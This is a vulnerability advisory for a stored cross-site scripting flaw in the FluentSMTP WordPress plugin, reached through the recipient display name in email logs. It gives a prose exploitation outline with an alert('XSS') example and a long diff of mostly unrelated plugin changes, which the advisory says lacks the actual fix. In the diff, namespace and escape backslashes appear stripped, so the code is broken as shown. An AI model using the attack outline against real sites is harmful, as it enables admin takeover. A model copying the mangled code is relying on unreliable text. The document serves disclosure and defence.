Published : August 5, 2026

CVE-2026-16636: FluentSMTP <= 2.2.95 Unauthenticated Stored Cross-Site Scripting via Recipient Display Name (to.name) in Email Logs PoC, Patch Analysis & Rule

Plugin fluent-smtp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.2.95
Patched Version 2.3.0
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16636:
FluentSMTP versions up to and including 2.2.95 contain an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the email logging component where the recipient display name (to.name) is stored without proper sanitization. This allows an attacker to inject arbitrary scripts into the admin dashboard that execute when viewed in the email detail section, specifically when navigating with Prev/Next controls. The vulnerability carries a CVSS score of 7.2 and is categorized under CWE-79.

Root Cause: The vulnerability stems from insufficient sanitization and output escaping of the recipient display name (to.name) in the email logging functionality. When an email is sent through the plugin, the log entry captures the ‘to’ field, including the display name. The list view applies an escapeHtml pipeline to safely render this data. However, the detail view, which administrators access through the Prev/Next navigation controls, bypasses this pipeline. This bypass occurs because the navigation path retrieves and renders the log data directly without applying the same escaping mechanisms, allowing stored scripts to execute. The affected parameters are in the email logging system, specifically the display name associated with the recipient email address.

Exploitation: An unauthenticated attacker can exploit this by crafting a malicious request to the WordPress core wp_mail() function, injecting a payload into the ‘to’ parameter’s display name. For example, the attacker sets the display name to something like: alert(‘XSS’) or a more sophisticated payload that steals admin sessions. The attack is delivered via an HTML email’s ‘To’ header, where the display name is not properly sanitized. The plugin processes and logs this email. The payload does not fire when viewing the log list because that view escapes output. It triggers when an administrator opens the detail view of the email log and uses the Prev/Next navigation buttons, which load the stored data into a context where the script is not escaped.

Patch Analysis: The available code diff does not contain the specific patch that addresses this vulnerability. The diff shown includes multiple other unrelated fixes and feature additions, such as Cloudflare mailer support, capability management functions, and SMTP connection reuse for bulk sending. The actual security patch for CVE-2026-16636 would involve adding proper output escaping (e.g., esc_html() or esc_attr()) for the recipient display name in the email log detail view rendering code. It would also entail sanitizing the ‘to’ field when the email is initially logged. The before behavior stores and renders unescaped HTML; the after behavior ensures display names are treated as plain text.

Impact: Successful exploitation leads to stored cross-site scripting. An attacker can inject scripts that execute in the context of an administrator’s browser. This can lead to full administrative account takeover, granting the attacker complete control over the WordPress site. This includes the ability to modify content, upload malicious files, create backdoor administrator accounts, and potentially pivot to other systems or data accessible from the server.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluent-smtp/app/Bindings.php
+++ b/fluent-smtp/app/Bindings.php
@@ -16,6 +16,7 @@
     'elasticmail'  => 'FluentMailAppServicesMailerProvidersElasticMailHandler',
     'smtp2go'      => 'FluentMailAppServicesMailerProvidersSmtp2GoHandler',
     'tosend' => 'FluentMailAppServicesMailerProvidersToSendHandler',
+    'cloudflare'   => 'FluentMailAppServicesMailerProvidersCloudflareHandler',
 ];

 foreach ($singletons as $key => $className) {
--- a/fluent-smtp/app/Functions/helpers.php
+++ b/fluent-smtp/app/Functions/helpers.php
@@ -17,6 +17,49 @@
     }
 }

+if (!function_exists('fluentMailManageCapability')) {
+    /**
+     * The capability required to view and change FluentSMTP's settings.
+     *
+     * Every administrative surface in the plugin is guarded by this: the AJAX
+     * controllers, the settings page, the dashboard widget and the admin notices.
+     * It is a single value on purpose, so a site cannot end up with a settings
+     * screen that opens and an API that refuses, or the reverse.
+     *
+     * The default is unchanged, so nothing differs on an ordinary installation.
+     * The filter exists for hosts and multi-tenant products where the people who
+     * administer email are deliberately not WordPress administrators — granting
+     * them `manage_options` to reach this screen would hand over the whole site.
+     *
+     * Note for anyone filtering this: `manage_options` does not imply a custom
+     * capability, so a site administrator loses access unless the replacement is
+     * also granted to them.
+     *
+     * @since 2.3.0
+     *
+     * @param string $capability Capability name. Default `manage_options`.
+     * @return string
+     */
+    function fluentMailManageCapability()
+    {
+        return apply_filters('fluent_mail/manage_capability', 'manage_options');
+    }
+}
+
+if (!function_exists('fluentMailCurrentUserCanManage')) {
+    /**
+     * Whether the current user may administer FluentSMTP.
+     *
+     * @since 2.3.0
+     *
+     * @return bool
+     */
+    function fluentMailCurrentUserCanManage()
+    {
+        return current_user_can(fluentMailManageCapability());
+    }
+}
+
 if (!function_exists('fluentMailMix')) {
     /**
      * Generate the mixed URL for the given asset path.
@@ -194,7 +237,7 @@
             return $drivers[$connection['sender_email']];
         }

-        $region = 'email.' . $connection['region'] . '.amazonaws.com';
+        $region = SimpleEmailService::regionToHost($connection['region']);

         $ses = new SimpleEmailService(
             $connection['access_key'],
@@ -213,11 +256,30 @@
     /**
      * Sends an email using the wp_mail() function with additional filters and pre-send checks.
      *
+     * Mirrors WordPress core's wp_mail(), which this replaces, so that hooks and
+     * arguments behave identically for anything that calls wp_mail().
+     *
+     * When using the `$embeds` parameter to embed images for use in HTML emails,
+     * reference the embedded file in your HTML with a `cid:` URL whose value
+     * matches the file's Content-ID. By default, the Content-ID (`cid`) used for
+     * each embedded file is the key in the embeds array, unless modified via the
+     * {@see 'wp_mail_embed_args'} filter. For example:
+     *
+     * `<img src="cid:0" alt="Logo">`
+     * `<img src="cid:my-image" alt="Image">`
+     *
+     * Note: embedded images are applied to the PHPMailer instance, so they work on
+     * SMTP connections. Providers that send over their own HTTP API build their
+     * payload separately and currently ignore embeds.
+     *
+     * @since 6.9.0 The `$embeds` parameter was added, matching WP core.
+     *
      * @param string|array $to Array or comma-separated list of email addresses to send the message to.
      * @param string $subject The subject of the email.
      * @param string $message The message content of the email.
      * @param string|array $headers Additional headers for the email.
-     * @param array $attachments Paths to files to attach to the email.
+     * @param string|array $attachments Paths to files to attach to the email.
+     * @param string|array $embeds Optional. Paths to files to embed.
      *
      * @return bool|null Returns true if the email was successfully sent, false if sending was preempted, or null if there was an error.
      *
@@ -225,19 +287,20 @@
      * @filter wp_mail
      * @filter pre_wp_mail
      */
-    function fluentMailSend($to, $subject, $message, $headers = '', $attachments = array())
+    function fluentMailSend($to, $subject, $message, $headers = '', $attachments = array(), $embeds = array())
     {
         // Compact the input, apply the filters, and extract them back out.
         /**
          * Filters the wp_mail() arguments.
          *
          * @param array $args A compacted array of wp_mail() arguments, including the "to" email,
-         *                    subject, message, headers, and attachments values.
+         *                    subject, message, headers, attachments and embeds values.
          * @since 2.2.0
+         * @since 6.9.0 The `$embeds` element was added to the `$args` array.
          *
          */
         $atts = apply_filters(
-            'wp_mail', compact('to', 'subject', 'message', 'headers', 'attachments')
+            'wp_mail', compact('to', 'subject', 'message', 'headers', 'attachments', 'embeds')
         );

         /**
@@ -256,6 +319,7 @@
          * @type string $message Message contents.
          * @type string|string[] $headers Additional headers.
          * @type string|string[] $attachments Paths to files to attach.
+         * @type string|string[] $embeds Paths to files to embed.
          * }
          * @since 5.7.0
          *
@@ -294,6 +358,14 @@
             $attachments = explode("n", str_replace("rn", "n", $attachments));
         }

+        if (isset($atts['embeds'])) {
+            $embeds = $atts['embeds'];
+        }
+
+        if (!is_array($embeds)) {
+            $embeds = explode("n", str_replace("rn", "n", $embeds));
+        }
+
         global $phpmailer;

         // (Re)create it, if it's gone missing.
@@ -301,7 +373,18 @@
             require_once ABSPATH . WPINC . '/PHPMailer/PHPMailer.php';
             require_once ABSPATH . WPINC . '/PHPMailer/SMTP.php';
             require_once ABSPATH . WPINC . '/PHPMailer/Exception.php';
-            $phpmailer = new PHPMailerPHPMailerPHPMailer(true);
+
+            // WP 6.8+ ships WP_PHPMailer, which routes PHPMailer's error strings
+            // through WordPress translations. Guarded on the file, not a version
+            // number, because this plugin still supports WP 5.5 where it is absent.
+            $wpPhpMailerFile = ABSPATH . WPINC . '/class-wp-phpmailer.php';
+
+            if (file_exists($wpPhpMailerFile)) {
+                require_once $wpPhpMailerFile;
+                $phpmailer = new WP_PHPMailer(true);
+            } else {
+                $phpmailer = new PHPMailerPHPMailerPHPMailer(true);
+            }

             $phpmailer::$validator = static function ($email) {
                 return (bool)is_email($email);
@@ -350,7 +433,7 @@
                             if (false !== $bracket_pos) {
                                 // Text before the bracketed email is the "From" name.
                                 if ($bracket_pos > 0) {
-                                    $from_name = substr($content, 0, $bracket_pos - 1);
+                                    $from_name = substr($content, 0, $bracket_pos);
                                     $from_name = str_replace('"', '', $from_name);
                                     $from_name = trim($from_name);
                                 }
@@ -373,6 +456,12 @@
                                 } elseif (false !== stripos($charset_content, 'boundary=')) {
                                     $boundary = trim(str_replace(array('BOUNDARY=', 'boundary=', '"'), '', $charset_content));
                                     $charset = '';
+                                    // Normalize the subtype and re-attach the boundary, so a
+                                    // header like "Content-Type: multipart/MIXED; boundary=x"
+                                    // yields a well-formed lowercase type. Matches WP 6.9.
+                                    if (preg_match('~^multipart/(S+)~', $content_type, $matches)) {
+                                        $content_type = 'multipart/' . strtolower($matches[1]) . '; boundary="' . $boundary . '"';
+                                    }
                                 }

                                 // Avoid setting an empty $content_type.
@@ -405,6 +494,24 @@
         $phpmailer->clearReplyTos();
         $phpmailer->Body = '';
         $phpmailer->AltBody = '';
+        // The instance now persists across sends, so the envelope sender must
+        // reset like a fresh instance would. This runs before phpmailer_init,
+        // so listeners (and the return_path handlers) still set it per send.
+        $phpmailer->Sender = '';
+
+        /*
+         * Reset encoding to 8-bit, as it may have been automatically downgraded
+         * to 7-bit by PHPMailer (based on the body contents) in a previous call
+         * to wp_mail().
+         *
+         * Matches WP core. This matters more here than it does in core: the
+         * PHPMailer instance is now deliberately kept alive across sends for
+         * SMTP connection reuse, so without this reset one plain-ASCII email
+         * would downgrade the encoding for every later email in the request.
+         *
+         * See https://core.trac.wordpress.org/ticket/33972
+         */
+        $phpmailer->Encoding = PHPMailerPHPMailerPHPMailer::ENCODING_8BIT;

         /*
      * If we don't have an email from the input headers, default to wordpress@$sitename
@@ -573,9 +680,13 @@
                 }
             }

-            if (false !== stripos($content_type, 'multipart') && !empty($boundary)) {
-                $phpmailer->addCustomHeader(sprintf('Content-Type: %s; boundary="%s"', $content_type, $boundary));
-            }
+            /*
+             * The boundary is no longer re-attached here. As of WP 6.9 the boundary is
+             * folded into $content_type while parsing the Content-Type header above, and
+             * that value is assigned to $phpmailer->ContentType. Emitting it again as a
+             * custom header would produce a duplicate Content-Type carrying the boundary
+             * twice.
+             */
         }


@@ -591,6 +702,51 @@
             }
         }

+        if (!empty($embeds)) {
+            foreach ($embeds as $key => $embed_path) {
+                /**
+                 * Filters the arguments for PHPMailer's addEmbeddedImage() method.
+                 *
+                 * @since 6.9.0
+                 *
+                 * @param array $args {
+                 *     An array of arguments for PHPMailer's addEmbeddedImage() method.
+                 *
+                 * @type string $path The path to the file.
+                 * @type string $cid The Content-ID of the image. Default: The key in the embeds array.
+                 * @type string $name The filename of the image.
+                 * @type string $encoding The encoding of the image. Default: 'base64'.
+                 * @type string $type The MIME type of the image. Default: empty string, which lets PHPMailer auto-detect.
+                 * @type string $disposition The disposition of the image. Default: 'inline'.
+                 * }
+                 */
+                $embed_args = apply_filters(
+                    'wp_mail_embed_args',
+                    array(
+                        'path'        => $embed_path,
+                        'cid'         => (string)$key,
+                        'name'        => basename($embed_path),
+                        'encoding'    => 'base64',
+                        'type'        => '',
+                        'disposition' => 'inline',
+                    )
+                );
+
+                try {
+                    $phpmailer->addEmbeddedImage(
+                        $embed_args['path'],
+                        $embed_args['cid'],
+                        $embed_args['name'],
+                        $embed_args['encoding'],
+                        $embed_args['type'],
+                        $embed_args['disposition']
+                    );
+                } catch (PHPMailerPHPMailerException $e) {
+                    continue;
+                }
+            }
+        }
+
         /**
          * Fires after PHPMailer is initialized.
          *
@@ -612,13 +768,20 @@
             }
         }

-        $mail_data = compact('to', 'subject', 'message', 'headers', 'attachments');
+        $mail_data = compact('to', 'subject', 'message', 'headers', 'attachments', 'embeds');

         // Send!
         try {
-            // Trap the fluentSMTPMail mailer here
-            $phpmailer = new FluentMailAppServicesMailerFluentPHPMailer($phpmailer);
-            $send = $phpmailer->send();
+            // Trap the fluentSMTPMail mailer here. Deliberately a LOCAL
+            // variable: assigning the wrapper to the global $phpmailer made
+            // the next wp_mail() call fail its instanceof PHPMailer check and
+            // rebuild a fresh instance for every email — destroying the
+            // instance (and closing any kept-alive SMTP connection) between
+            // sends. Keeping the raw PHPMailer in the global matches WP core
+            // behavior and lets a FluentCRM bulk sending session reuse one
+            // SMTP connection across a whole run (BulkSendSessionHandler).
+            $fluentMailer = new FluentMailAppServicesMailerFluentPHPMailer($phpmailer);
+            $send = $fluentMailer->send();

             /**
              * Fires after a successful email is sent using the wp_mail() function.
@@ -687,6 +850,7 @@
                 'gmail'       => 'client_secret',
                 'outlook'     => 'client_secret',
                 'tosend'      => 'api_key',
+                'cloudflare'  => 'api_key',
             ];
             if (!empty($settings['connections']) && is_array($settings['connections'])) {
                 foreach ($settings['connections'] as $key => $connection) {
@@ -710,6 +874,25 @@
             }
         }

+        /*
+         * Sender names reach us HTML-escaped when they were taken from the site
+         * title, which WordPress stores that way. Left alone, a site called
+         * "Tom & Jerry" sends every email from "Tom & Jerry". Decoding here
+         * rather than only on save fixes installs that already hold an escaped
+         * name, without asking anyone to re-save a connection, and covers every
+         * reader — this function is the one path settings travel through.
+         */
+        if (!empty($settings['connections']) && is_array($settings['connections'])) {
+            foreach ($settings['connections'] as $key => $connection) {
+                if (!empty($connection['provider_settings']['sender_name'])) {
+                    $settings['connections'][$key]['provider_settings']['sender_name'] = wp_specialchars_decode(
+                        $connection['provider_settings']['sender_name'],
+                        ENT_QUOTES
+                    );
+                }
+            }
+        }
+
         $cachedSettings = $settings;

         return $settings;
@@ -753,6 +936,7 @@
                 'gmail'       => 'client_secret',
                 'outlook'     => 'client_secret',
                 'tosend'      => 'api_key',
+                'cloudflare'  => 'api_key',
             ];
             if (!empty($settings['connections']) && is_array($settings['connections'])) {
                 foreach ($settings['connections'] as $key => $connection) {
@@ -874,11 +1058,57 @@
     return FluentSmtpDb();
 }

+if (!function_exists('fluentMailDebugLog')) {
+    /**
+     * Write a diagnostic line to the PHP error log, but only while debugging.
+     *
+     * Every one of these sites reports a swallowed failure — a log row that
+     * could not be written, an attachment that could not be read. They recur:
+     * whatever broke once breaks again on every send, so an ungated
+     * error_log() grows the PHP error log for as long as the site keeps
+     * sending. That is noise a production admin never asked for and cannot
+     * turn off, while anyone actually chasing the failure has WP_DEBUG on.
+     *
+     * @param string $message Message to record, prefixed with the plugin name.
+     * @return void
+     */
+    function fluentMailDebugLog($message)
+    {
+        if (!defined('WP_DEBUG') || !WP_DEBUG) {
+            return;
+        }
+
+        error_log('FluentSMTP: ' . $message);
+    }
+}
+
+if (!function_exists('fluentMailSiteTitle')) {
+    /**
+     * The site title as the admin typed it, safe to drop into plain text.
+     *
+     * WordPress stores blogname HTML-escaped — sanitize_option() runs
+     * esc_html() over it — so a site called "Tom & Jerry" comes back from
+     * get_bloginfo('name') as "Tom & Jerry". That is correct for HTML
+     * output and wrong everywhere else: an email subject, a Slack message or
+     * a push notification is plain text, and the entity shows up literally.
+     *
+     * Core has the same problem and solves it the same way — see the
+     * wp_specialchars_decode() calls around get_option('blogname') in
+     * pluggable.php. Use this anywhere the title is not being written into
+     * HTML; keep esc_html(fluentMailSiteTitle()) where it is.
+     *
+     * @return string
+     */
+    function fluentMailSiteTitle()
+    {
+        return wp_specialchars_decode(get_bloginfo('name'), ENT_QUOTES);
+    }
+}

 function fluentMailFuncCouldNotBeLoadedRecheckPluginsLoad()
 {
     add_action('admin_notices', function () {
-        if (!current_user_can('manage_options')) {
+        if (!fluentMailCurrentUserCanManage()) {
             return;
         }
         $details = new ReflectionFunction('wp_mail');
@@ -891,7 +1121,7 @@
                 disable it for <strong>FluentSMTP</strong> to work!</p>
             <p style="color: red;">
                 <?php esc_html_e('Possible Conflict: ', 'fluent-smtp'); ?>
-                <?php echo $hints; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+                <?php echo esc_html($hints); ?>
             </p>
         </div>
         <?php
--- a/fluent-smtp/app/Hooks/Handlers/ActionsRegistrar.php
+++ b/fluent-smtp/app/Hooks/Handlers/ActionsRegistrar.php
@@ -52,6 +52,25 @@
         $this->registerSiteInitialization();
         $this->registerCustomActions();
         $this->registerRestRoutes();
+
+        // SMTP connection reuse across FluentCRM bulk sending sessions.
+        (new BulkSendSessionHandler())->register();
+
+        $this->registerCliCommands();
+    }
+
+    /**
+     * Register the `wp fluent-smtp` commands.
+     *
+     * @return void
+     */
+    protected function registerCliCommands()
+    {
+        if (!defined('WP_CLI') || !WP_CLI || !class_exists('WP_CLI')) {
+            return;
+        }
+
+        WP_CLI::add_command('fluent-smtp', 'FluentMailAppServicesCliHandler');
     }

     /**
--- a/fluent-smtp/app/Hooks/Handlers/AdminMenuHandler.php
+++ b/fluent-smtp/app/Hooks/Handlers/AdminMenuHandler.php
@@ -77,20 +77,19 @@
             <div
                 style="background-color: #fff;border: 1px solid #dcdcde;box-sizing: border-box;padding: 20px;margin: 15px 0;"
                 class="fluent_smtp_box">
-                <h3 style="margin: 0;"><?php __('For SMTP, you already have FluentSMTP Installed', 'fluent-smtp'); ?></h3>
-                <p><?php __('You seem to be looking for an SMTP plugin, but there's no need for another one — FluentSMTP is already installed on your site. FluentSMTP is a comprehensive, free, and open-source plugin with full features available without any upsell', 'fluent-smtp'); ?>
-                    (<a href="https://fluentsmtp.com/why-we-built-fluentsmtp-plugin/"><?php __('learn why it's free', 'fluent-smtp'); ?></a>)<?php __('. It's compatible with various SMTP services, including Amazon SES, SendGrid, MailGun, ElasticEmail, SendInBlue, Google, Microsoft, and others, providing you with a wide range of options for your email needs.', 'fluent-smtp'); ?>
+                <h3 style="margin: 0;"><?php esc_html_e('For SMTP, you already have FluentSMTP Installed', 'fluent-smtp'); ?></h3>
+                <p><?php esc_html_e('You seem to be looking for an SMTP plugin, but there's no need for another one — FluentSMTP is already installed on your site. FluentSMTP is a comprehensive, free, and open-source plugin with full features available without any upsell', 'fluent-smtp'); ?>
+                    (<a href="https://fluentsmtp.com/articles/why-we-built-fluentsmtp-plugin/"><?php esc_html_e('learn why it's free', 'fluent-smtp'); ?></a>)<?php esc_html_e('. It's compatible with various SMTP services, including Amazon SES, SendGrid, MailGun, ElasticEmail, SendInBlue, Google, Microsoft, and others, providing you with a wide range of options for your email needs.', 'fluent-smtp'); ?>
                 </p><a href="<?php echo esc_url(admin_url('options-general.php?page=fluent-mail#/')); ?>"
-                       class="wp-core-ui button button-primary"><?php __('Go To FluentSMTP Settings', 'fluent-smtp'); ?></a>
-                <p style="font-size: 80%; margin: 15px 0 0;"><?php __('This notice is from FluentSMTP plugin to prevent plugin
-                    conflict.', 'fluent-smtp') ?></p>
+                       class="wp-core-ui button button-primary"><?php esc_html_e('Go To FluentSMTP Settings', 'fluent-smtp'); ?></a>
+                <p style="font-size: 80%; margin: 15px 0 0;"><?php esc_html_e('This notice is from FluentSMTP plugin to prevent plugin conflict.', 'fluent-smtp'); ?></p>
             </div>
             <?php
         }, 1);

         add_action('wp_ajax_fluent_smtp_get_dashboard_html', function () {
             // This widget should be displayed for certain high-level users only.
-            if (!current_user_can('manage_options') || apply_filters('fluent_mail_disable_dashboard_widget', false)) {
+            if (!fluentMailCurrentUserCanManage() || apply_filters('fluent_mail_disable_dashboard_widget', false)) {
                 wp_send_json([
                     'html' => __('You do not have permission to see this data', 'fluent-smtp')
                 ]);
@@ -111,7 +110,7 @@
             'options-general.php',
             $title,
             $title,
-            'manage_options',
+            fluentMailManageCapability(),
             'fluent-mail',
             [$this, 'renderApp'],
             16
@@ -183,7 +182,9 @@

         $user = get_user_by('ID', get_current_user_id());

-        $disable_recommendation = wp_is_file_mod_allowed('install_plugins');
+        // wp_is_file_mod_allowed() answers "are mods ALLOWED"; this flag is the
+        // inverse — it hides the one-click install button — so it must be negated.
+        $disable_installation = !wp_is_file_mod_allowed('install_plugins');

         $settings = $this->getMailerSettings();

@@ -210,7 +211,7 @@
             'require_optin'          => $this->isRequireOptin(),
             'has_ninja_tables'       => defined('NINJA_TABLES_VERSION'),
             'disable_recommendation' => apply_filters('fluentmail_disable_recommendation', false),
-            'disable_installation'   => $disable_recommendation,
+            'disable_installation'   => $disable_installation,
             'plugin_url'             => 'https://fluentsmtp.com/?utm_source=wp&utm_medium=install&utm_campaign=dashboard',
             'trans'                  => $this->getTrans(),
             'recommended'            => $recommendedSettings,
@@ -231,7 +232,7 @@
             return sprintf(
                 __('%1$s is a free plugin & it will be always free %2$s. %3$s', 'fluent-smtp'),
                 '<b>FluentSMTP</b>',
-                '<a href="https://fluentsmtp.com/why-we-built-fluentsmtp-plugin/" target="_blank" rel="noopener noreferrer">'. esc_html__('(Learn why it's free)', 'fluent-smtp') .'</a>',
+                '<a href="https://fluentsmtp.com/articles/why-we-built-fluentsmtp-plugin/" target="_blank" rel="noopener noreferrer">'. esc_html__('(Learn why it's free)', 'fluent-smtp') .'</a>',
                 '<a href="https://wordpress.org/support/plugin/fluent-smtp/reviews/?filter=5" target="_blank" rel="noopener noreferrer">'. esc_html__('Write a review ★★★★★', 'fluent-smtp') .'</a>'
             );
         });
@@ -263,7 +264,7 @@

     public function maybeAdminNotice()
     {
-        if (!current_user_can('manage_options')) {
+        if (!fluentMailCurrentUserCanManage()) {
             return;
         }

@@ -298,7 +299,7 @@

     public function addSimulationBar($adminBar)
     {
-        if (!current_user_can('manage_options')) {
+        if (!fluentMailCurrentUserCanManage()) {
             return;
         }

@@ -337,7 +338,7 @@
     public function initAdminWidget()
     {
         // This widget should be displayed for certain high-level users only.
-        if (!current_user_can('manage_options') || apply_filters('fluent_mail_disable_dashboard_widget', false)) {
+        if (!fluentMailCurrentUserCanManage() || apply_filters('fluent_mail_disable_dashboard_widget', false)) {
             return;
         }

@@ -434,9 +435,9 @@
             <tbody>
             <?php foreach ($stats as $stat): ?>
                 <tr>
-                    <td><?php echo $stat['title']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></td>
-                    <td><?php echo $stat['sent']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></td>
-                    <td class="<?php echo ($stat['failed']) ? 'fstmp_failed' : ''; ?>"><?php echo $stat['failed']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></td>
+                    <td><?php echo esc_html($stat['title']); ?></td>
+                    <td><?php echo absint($stat['sent']); ?></td>
+                    <td class="<?php echo absint($stat['failed']) ? 'fstmp_failed' : ''; ?>"><?php echo absint($stat['failed']); ?></td>
                 </tr>
             <?php endforeach; ?>
             </tbody>
--- a/fluent-smtp/app/Hooks/Handlers/BulkSendSessionHandler.php
+++ b/fluent-smtp/app/Hooks/Handlers/BulkSendSessionHandler.php
@@ -0,0 +1,222 @@
+<?php
+
+namespace FluentMailAppHooksHandlers;
+
+/**
+ * Reuses one SMTP connection across a FluentCRM bulk sending session.
+ *
+ * FluentCRM fires fluent_crm/email_sender_session_started / _ended around each
+ * lock-winning sender run (up to ~50 seconds spanning many claimed batches).
+ * For the SMTP provider, the per-email connect + EHLO + STARTTLS + AUTH + QUIT
+ * handshake is typically 100-300ms — often more than the MAIL/RCPT/DATA
+ * exchange itself — so holding the connection open for the session is a 2-5x
+ * throughput win on SMTP relays. Sockets are still recycled after
+ * MAX_CONNECTION_AGE seconds: the handshake savings only need tens of sends
+ * per connection, and short-lived sockets stay clear of relay idle timeouts,
+ * message-per-connection caps, and any state an old connection could carry.
+ *
+ * The HTTP API providers need nothing here: their connections are already
+ * reused via statically cached service/request objects holding persistent
+ * cURL handles (see fluentMailSesConnection() and the ToSend handler).
+ *
+ * The session actions may fire repeatedly or unpaired (FluentCRM documents
+ * them as such), so every method here is idempotent. Keep-alive itself is
+ * enabled per send by the SMTP provider handler — the only path that
+ * declares a connection identity via ensureConnectionFor() — so mail sent
+ * by other phpmailer_init integrations never rides an unguarded kept-alive
+ * socket. A shutdown close is registered as a crash net; an orphaned socket
+ * dies with the PHP process anyway, and one-off emails sent outside a
+ * session keep the normal connect-per-send behavior.
+ */
+class BulkSendSessionHandler
+{
+    /**
+     * Hard cap on how long one kept-alive socket may be reused, in seconds.
+     */
+    const MAX_CONNECTION_AGE = 15;
+
+    protected static $active = false;
+
+    /**
+     * Unix timestamp of the most recent session start, for self-expiry.
+     */
+    protected static $activeSince = 0;
+
+    protected static $hooked = false;
+
+    /**
+     * Identity of the SMTP connection the kept-alive socket belongs to.
+     * FluentSMTP routes per From address, so one bulk session can interleave
+     * emails bound for DIFFERENT relays/credentials — and PHPMailer's
+     * smtpConnect() reuses an open socket without re-checking Host or auth.
+     * Reusing across identities would send mail through the wrong relay.
+     */
+    protected static $connectionFingerprint = null;
+
+    /**
+     * Unix timestamp of when the current kept-alive connection was opened,
+     * for the MAX_CONNECTION_AGE recycle.
+     */
+    protected static $connectionOpenedAt = 0;
+
+    /**
+     * Whether the current send is riding a socket left open by a previous
+     * send. The SMTP handler's dead-socket retry only re-sends when the
+     * failure came from a reused connection — a fresh-connect failure is a
+     * real error (relay down, bad credentials) a retry would not fix.
+     */
+    protected static $socketReused = false;
+
+    public function register()
+    {
+        add_action('fluent_crm/email_sender_session_started', [$this, 'startSession']);
+        add_action('fluent_crm/email_sender_session_ended', [$this, 'endSession']);
+    }
+
+    public function startSession()
+    {
+        // Kill switch: some relays cap messages-per-connection, so sites must
+        // be able to disable connection reuse at runtime. Everything else in
+        // this class is inert while no session is marked active.
+        if (!apply_filters('fluentmail_smtp_bulk_keep_alive', true)) {
+            return;
+        }
+
+        self::$active = true;
+        self::$activeSince = time();
+
+        if (self::$hooked) {
+            return;
+        }
+        self::$hooked = true;
+
+        register_shutdown_function([$this, 'endSession']);
+    }
+
+    public function endSession()
+    {
+        // Deliberately checks the raw flag (not isActive()): a session_ended
+        // arriving after the 5-minute self-expiry must still close the socket.
+        if (!self::$active) {
+            return;
+        }
+
+        self::$active = false;
+
+        self::closeConnection();
+    }
+
+    /**
+     * Whether a FluentCRM bulk sending session is currently active.
+     *
+     * Sessions self-expire after 5 minutes: real sessions last ~50s and every
+     * new lock-winning sender run re-fires session_started (refreshing the
+     * stamp), so only an orphaned session — an unpaired start in a long-lived
+     * process that never received its session_ended — can reach the limit.
+     * Expiry degrades gracefully to connect-per-send, and the next declared
+     * send's hygiene pass in ensureConnectionFor() closes whatever socket
+     * the expired session left open.
+     *
+     * @return bool
+     */
+    public static function isActive()
+    {
+        return self::$active && (time() - self::$activeSince) < 300;
+    }
+
+    /**
+     * Guard the kept-alive socket against connection switches mid-session.
+     *
+     * The SMTP provider calls this with its resolved connection settings
+     * before each send. Same identity as the open socket -> keep reusing it.
+     * Different identity (another relay or credentials, routed by From
+     * address) -> close first, so PHPMailer reconnects with the new settings
+     * instead of pushing mail through the previous relay's session. A streak
+     * of same-connection emails keeps the full keep-alive benefit; alternating
+     * connections degrade gracefully to connect-per-send.
+     *
+     * @param array $config Connection-identifying settings (host, port,
+     *                      username, encryption, auth, auto_tls, and a hash
+     *                      of the credential so rotations force a reconnect).
+     */
+    public static function ensureConnectionFor($config)
+    {
+        global $phpmailer;
+
+        $connected = $phpmailer
+            && method_exists($phpmailer, 'getSMTPInstance')
+            && $phpmailer->getSMTPInstance()->connected();
+
+        // Hygiene runs BEFORE the active check on purpose: PHPMailer's
+        // smtpConnect() silently reuses any connected socket without
+        // re-checking Host or credentials, so a socket left open by an
+        // ended/expired session — or one past its age cap — must be closed
+        // here, before this send gets a chance to adopt it.
+        if ($connected && (!self::isActive() || (time() - self::$connectionOpenedAt) >= self::MAX_CONNECTION_AGE)) {
+            self::closeConnection();
+            $connected = false;
+        }
+
+        if (!self::isActive()) {
+            return;
+        }
+
+        $fingerprint = md5(wp_json_encode($config));
+
+        // Close on ANY identity change — including from the unknown (null)
+        // state, so a socket some other integration left open is never
+        // adopted as ours. Closing an already-closed socket is a cheap no-op.
+        if (self::$connectionFingerprint !== $fingerprint) {
+            self::closeConnection();
+            $connected = false;
+        }
+
+        self::$connectionFingerprint = $fingerprint;
+        self::$socketReused = $connected;
+
+        if (!$connected) {
+            // This send opens a fresh connection right after this call;
+            // stamp its birth so the age cap above can recycle it.
+            self::$connectionOpenedAt = time();
+        }
+    }
+
+    /**
+     * Whether the send being declared reuses an already-open kept-alive
+     * socket (vs establishing a fresh connection).
+     *
+     * @return bool
+     */
+    public static function wasSocketReused()
+    {
+        return self::$socketReused;
+    }
+
+    /**
+     * Close the kept-alive SMTP connection, if one is open.
+     *
+     * Also called by the SMTP provider handler when a send fails mid-session:
+     * a relay may drop the idle socket in a way PHPMailer only notices on the
+     * next command, so closing here makes the following email reconnect fresh
+     * instead of failing on the same dead connection.
+     */
+    public static function closeConnection()
+    {
+        // Whatever socket existed no longer does; the next send establishes
+        // (and re-fingerprints) its own connection.
+        self::$connectionFingerprint = null;
+        self::$connectionOpenedAt = 0;
+        self::$socketReused = false;
+
+        global $phpmailer;
+
+        if ($phpmailer && method_exists($phpmailer, 'smtpClose')) {
+            try {
+                $phpmailer->SMTPKeepAlive = false;
+                $phpmailer->smtpClose();
+            } catch (Throwable $e) {
+                // Closing a dead socket must never break the send loop.
+            }
+        }
+    }
+}
--- a/fluent-smtp/app/Hooks/Handlers/SchedulerHandler.php
+++ b/fluent-smtp/app/Hooks/Handlers/SchedulerHandler.php
@@ -4,6 +4,7 @@

 use FluentMailAppModelsLogger;
 use FluentMailAppModelsSettings;
+use FluentMailAppServicesConnectionHealth;
 use FluentMailAppServicesNotificationHelper;
 use FluentMailAppServicesNotificationManager as NotificationManager;
 use FluentMailIncludesSupportArr;
@@ -18,14 +19,29 @@
         add_filter('fluentmail_email_sending_failed', array($this, 'maybeHandleFallbackConnection'), 10, 4);

         add_action('fluentsmtp_renew_gmail_token', array($this, 'renewGmailToken'));
+        add_action('fluentsmtp_renew_outlook_token', array($this, 'renewOutlookToken'));

